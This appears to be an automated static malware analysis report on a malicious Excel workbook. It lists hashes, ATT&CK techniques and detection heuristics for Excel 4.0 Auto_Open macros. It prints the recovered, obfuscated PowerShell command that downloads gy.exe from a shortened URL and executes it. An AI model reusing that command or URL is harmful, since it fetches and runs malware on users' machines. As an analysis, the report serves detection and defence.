Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 93b333c691d5c60c…

MALICIOUS

Office (OLE) / .XLSX

132.0 KB Created: 2020-11-20 17:59:00 Authoring application: Microsoft Excel
MD5: abe0aa9fbecd92554f1c626edd2262a8 SHA-1: a3d81698e67e62804c4fd28f8b48009c2abab76d SHA-256: 93b333c691d5c60c465a9440e5e394b95c5ed06a5b63ea4ad4f710c3cbe97e00
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1059.001 PowerShell T1204.002 Malicious Link: User Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macro executes a PowerShell command that reconstructs to 'powershell -w 1 -EP bypass stARt`-slE`Ep 25; cd ${enV`:temp};.('.'+'/gy"&CHAR(46)&"exe")'. This command downloads a file named 'gy.exe' from the URL 'https://cutt.ly/fhAmTle' and executes it. The VBA project contains no executable statements, indicating the primary malicious functionality resides within the XLM macros.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • VBA project contains no executable statements low OLE_VBA_MACROS
    Document contains a VBA project, but extracted modules only contain attributes/options/comments and no executable statements.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
dbede1e3958e7eeb35186be33a30c171cc3425d2f30a2d5d0dab333411154a8c		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1889 bytes
macros.bas
fed365d3401536fb63e11d0a36cc7c35338c0a8c74a96fb254c46366ad6287cd		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 642 bytes

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